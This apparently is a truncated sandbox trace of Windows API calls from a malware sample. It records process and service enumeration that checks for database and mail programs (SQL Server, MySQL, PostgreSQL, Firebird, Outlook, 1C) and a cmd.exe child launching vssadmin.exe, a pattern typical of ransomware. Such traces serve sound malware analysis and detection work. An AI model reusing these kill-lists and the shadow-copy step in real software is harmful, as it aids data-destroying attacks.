[0038.925] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0038.925] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0038.925] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0038.926] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0038.926] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0038.926] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0038.926] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.926] lstrlenW (lpString="csrss.exe") returned 9 [0038.926] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0038.926] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0038.927] lstrlenW (lpString="winlogon.exe") returned 12 [0038.927] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0038.928] lstrlenW (lpString="services.exe") returned 12 [0038.928] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0038.928] lstrlenW (lpString="lsass.exe") returned 9 [0038.928] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0038.929] lstrlenW (lpString="lsm.exe") returned 7 [0038.929] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.930] lstrlenW (lpString="svchost.exe") returned 11 [0038.930] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.930] lstrlenW (lpString="svchost.exe") returned 11 [0038.930] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.931] lstrlenW (lpString="svchost.exe") returned 11 [0038.931] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.932] lstrlenW (lpString="svchost.exe") returned 11 [0038.932] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.932] lstrlenW (lpString="svchost.exe") returned 11 [0038.932] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0038.933] lstrlenW (lpString="audiodg.exe") returned 11 [0038.933] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.934] lstrlenW (lpString="svchost.exe") returned 11 [0038.934] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.934] lstrlenW (lpString="svchost.exe") returned 11 [0038.934] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0038.935] lstrlenW (lpString="dwm.exe") returned 7 [0038.935] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0038.935] lstrlenW (lpString="explorer.exe") returned 12 [0038.936] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0038.936] lstrlenW (lpString="spoolsv.exe") returned 11 [0038.936] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.937] lstrlenW (lpString="taskhost.exe") returned 12 [0038.937] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.938] lstrlenW (lpString="svchost.exe") returned 11 [0038.938] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0038.938] lstrlenW (lpString="taskeng.exe") returned 11 [0038.938] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.939] lstrlenW (lpString="taskhost.exe") returned 12 [0038.939] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0038.940] lstrlenW (lpString="chem venues.exe") returned 15 [0038.940] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0038.940] lstrlenW (lpString="month.exe") returned 9 [0038.940] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0038.941] lstrlenW (lpString="glasgow.exe") returned 11 [0038.941] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0038.942] lstrlenW (lpString="rubber.exe") returned 10 [0038.942] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0038.942] lstrlenW (lpString="petroleum.exe") returned 13 [0038.942] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0038.943] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0038.943] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0038.944] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0038.944] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0038.944] lstrlenW (lpString="batman_oliver.exe") returned 17 [0038.944] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0038.945] lstrlenW (lpString="formation.exe") returned 13 [0038.945] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0038.946] lstrlenW (lpString="whole.exe") returned 9 [0038.946] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0038.946] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0038.946] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0038.947] lstrlenW (lpString="disorder.exe") returned 12 [0038.947] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0038.948] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0038.948] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0038.948] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0038.948] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0038.949] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0038.949] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0038.950] lstrlenW (lpString="perspective.exe") returned 15 [0038.950] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0038.950] lstrlenW (lpString="demand-site.exe") returned 15 [0038.950] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0038.951] lstrlenW (lpString="attachment.exe") returned 14 [0038.951] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0038.951] lstrlenW (lpString="valid-permit.exe") returned 16 [0038.952] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0038.952] lstrlenW (lpString="knights.exe") returned 11 [0038.952] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0039.448] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0039.448] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0039.449] lstrlenW (lpString="mobsync.exe") returned 11 [0039.449] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0039.449] lstrlenW (lpString="ohbdap.exe") returned 10 [0039.449] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0039.450] lstrlenW (lpString="cmd.exe") returned 7 [0039.450] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0039.450] lstrlenW (lpString="conhost.exe") returned 11 [0039.451] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0039.451] lstrlenW (lpString="vssadmin.exe") returned 12 [0039.451] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0039.452] lstrlenW (lpString="VSSVC.exe") returned 9 [0039.452] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0039.453] CloseHandle (hObject=0x19c) returned 1 [0039.453] Sleep (dwMilliseconds=0x1f4) [0040.058] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fe40 [0040.058] EnumServicesStatusExW (in: hSCManager=0x52fe40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0040.058] GetLastError () returned 0xea [0040.058] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x123e) returned 0x3fc18a8 [0040.058] EnumServicesStatusExW (in: hSCManager=0x52fe40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fc18a8, cbBufSize=0x123e, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fc18a8, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0040.059] CloseServiceHandle (hSCObject=0x52fe40) returned 1 [0040.059] lstrlenW (lpString="Appinfo") returned 7 [0040.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0040.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0040.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0040.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0040.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0040.059] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0040.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.059] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0040.059] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0040.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0040.059] lstrlenW (lpString="AudioSrv") returned 8 [0040.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0040.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0040.059] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0040.059] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0040.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0040.059] lstrlenW (lpString="BFE") returned 3 [0040.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0040.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0040.059] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0040.060] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0040.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0040.060] lstrlenW (lpString="CryptSvc") returned 8 [0040.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0040.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0040.060] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0040.060] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0040.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0040.060] lstrlenW (lpString="CscService") returned 10 [0040.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0040.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0040.060] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0040.060] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0040.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0040.060] lstrlenW (lpString="DcomLaunch") returned 10 [0040.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.060] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0040.060] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0040.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0040.060] lstrlenW (lpString="Dhcp") returned 4 [0040.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0040.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0040.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0040.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0040.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0040.061] lstrlenW (lpString="Dnscache") returned 8 [0040.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0040.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0040.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0040.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0040.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0040.061] lstrlenW (lpString="DPS") returned 3 [0040.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0040.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0040.061] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0040.061] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0040.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0040.061] lstrlenW (lpString="eventlog") returned 8 [0040.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0040.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0040.061] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0040.061] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0040.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0040.061] lstrlenW (lpString="EventSystem") returned 11 [0040.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0040.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0040.061] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0040.061] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0040.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0040.061] lstrlenW (lpString="gpsvc") returned 5 [0040.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0040.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0040.061] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0040.061] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0040.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0040.062] lstrlenW (lpString="iphlpsvc") returned 8 [0040.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.062] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0040.062] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0040.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0040.062] lstrlenW (lpString="LanmanServer") returned 12 [0040.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0040.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0040.062] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0040.062] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0040.062] lstrcmpiW (lpString1="sqlserveradhelper", 